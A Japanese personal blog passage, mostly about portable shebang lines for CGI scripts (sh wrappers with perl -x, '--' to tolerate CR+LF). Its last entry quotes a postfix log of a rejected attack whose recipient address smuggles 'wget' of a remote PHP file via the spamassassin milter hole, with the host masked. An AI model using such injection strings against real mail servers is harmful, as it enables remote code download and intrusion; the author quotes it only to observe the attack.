大昔書いたことに対して、perl のパスをどう書き換えたらいいのかわからない CGI をただ使うだけのお客さんのために、#!/path/to/perl ではなく #!/usr/bin/env perl を使うという 反論をもらった。個人ベースで小さな CGI を作って配布する、というのは最近ではもうだいぶ廃れてきてるような気がしなくもないけど、まあ、4年も前も書いたことに対する話なんでそのへんは気にしないことにする。envもその一環なの。否定するなら対案を示せといいたい。_ こんなんどうでしょうか。
ラッパーとして sh を使う。perl -x がミソ(スクリプト先頭から #!perl までの行を読み飛ばす)。$PATH から perl を探す、という意味では env と同じだが、どんなパスが設定されているかわからない env と違って、スクリプトの中にパスを埋めこめるので、意図しないパスにある perl を使われる(あるいはパスが通ってなくてコケる)可能性が低くなる。また、env と違って、-w などのオプションを書いても問題なく動く。言語に依存するので、どんなスクリプト言語でも同じようにできるわけではないが、とりあえず ruby ならまったく同じ技を使える。#!/bin/sh # -*- perl -*- # 動作には関係なし(エディタのモード判定用) PATH=/bin:/usr/bin:/usr/local/bin:... exec perl -x -options "$0" "${1+$@}" # sh はここでおしまい #!perl # この行にオプションを書いても有効(perl -x の行に書いても可) # 以下 perl スクリプト本体python はちょと違うけど、まあ似たような方法で。#!/bin/sh exec ruby -x $0 $@ #!ruby -Ks puts "こんにちは世界"python の -x は perl -x と違って「1行目だけ読み飛ばす」なので、sh によるラッパー部分を冒頭1行に詰め込む必要がある。そのため shebang 行が書けないが、shebang 行のないスクリプトは /bin/sh で実行されるお約束なので、なくても問題はない(というか、この場合そうしないと動かない)。PATH=/bin:/usr/bin:/usr/local/bin exec python -x -options "$0" "${1+@}" # 以下 python スクリプト本体_ 以上のやりかたでは、env は使わなくなったけど sh は使うので windows では動かない。しかし、env のデメリットのいくつかは解消されるので(すべては解消できない)、env を使うよりはこっちの方がまだマシだと思う。
_ あるいは、まったく別の観点から。パスのめんどうを見るのはすっぱり諦めるというのもアリなんじゃないかと。
_ どっかで拾ってきた CGI を意味もよくわからず使うだけの人がハマりやすい罠に、改行コードがある。CGI スクリプト中の個別設定部分(サイトの URL とか管理者のメールアドレスとか)を Windows 上のエディタで書き換えると、改行コードが CR+LF になってしまうことがある。あるいは LF な改行コードを扱えないエディタ(昔の notepad とか)のために、CGI 作者がはじめから CR+LF で配布してたりする。これをそのまま(ftp の ascii モードではなく binary モードで)サーバにアップロードすると、shebang 行が #!/path/to/perl ではなく #!/path/to/perl<CR> になってしまって、そんなコマンドねーよ、と怒られて動かない。
_ これ、初心者はそんな問題があるとはそもそも知らず、知っていても目視しただけではいらん CR がくっついてるとは気付きにくく、また、perl hoge.cgi として実行するとちゃんと動作してしまうため(./hoge.cgi として実行するとエラーになる)、ひじょーにわかりにくい。
_ この問題は、スクリプトの側で対策できる。CR+LF のまま動かせる。shebang 行に何もしない引数を付加して、
とすればいい。改行コードが CR+LF になっても、perl<CR> ではなく perl --<CR> が実行されるので、正しく perl が起動され、perl は CR を無視して何事もなかったように動作する。#!/path/to/perl --_ ただし、これは env を使う方法とは両立できない。 前にも書いたように、shebang 行の引数が複数ある場合の動作が環境によって異なる(そして linux では期待どおりに動作しない)から。
これは linux では "perl --" (または "perl --<CR>") というコマンドが存在しないというエラーになる。じゃあ、env じゃなくて sh をラッパーにする perl -x なやりかただとどうか。#!/usr/bin/env perl --ダメ。sh -- は問題ないが、sh --<CR> でエラーになる。sh は CR を無視しないので。#!/bin/sh --_ というわけで、改行の罠は対策できるけど、パス対策とは両立できない。初心者がはまりがちな落とし穴を事前に埋めておくにしても、そのすべてを埋めることはできない。ならば、中途半端にしか対策できないパスの方を対策するより(それが不毛だとは言わないけど)、確実に潰せる改行の落とし穴の方を潰しておく、というのも foolproof という観点からは十分アリな考え方だと思う。
_ てゆーか、初心者のハマリ場所として、perl のパスがわかんない、というところまで低レベルのものってそんなに多いか? 個人的には、改行コードが違ってて動かない、というものの方が圧倒的に多い印象があるんだけど。どこのレン鯖屋も FAQ ページにかならず perl のパスは明記してあるし(記載してない業者があれば教えてください)、ドキュメントにその旨記述さえしてあれば、ただ手間が増えるというだけで初心者でもハマるところではないと思うが。
こんなログが残ってたんだけど、なんだこれ。いや、意図はわかるんだけど。その意図どおりに動いちゃうようなおまぬけな MTA って存在するの?May 12 16:39:01 eel postfix/smtpd[26813]: NOQUEUE: reject: RCPT from unknown[208.88.6.50]: 504 5.5.2 <root+:|wget http://********.in/x1x.php>: Recipient address rejected: need fully-qualified address; from=<blue@dick.com> to=<root+:|wget http://********.in/x1x.php> proto=SMTP helo=<bluedick>_ …あー、これって少し前に話題になった spamassassin milter の脆弱性かぁ。こんなしょーもない穴だったんか。
_ 上のログでは wget で取得する先の URL はいちおう伏せ字にしておいたけど、アクセスしてもみても中身は "xxx" しかなくて、とりあえずこの wget が成功してもおかしなことは起きない。でも、攻撃が成立しちゃう脆弱なホストとしてあちらにログが残っちゃってるので、後から別途攻撃をしかけてくると思う、たぶん。まだ来てないけど。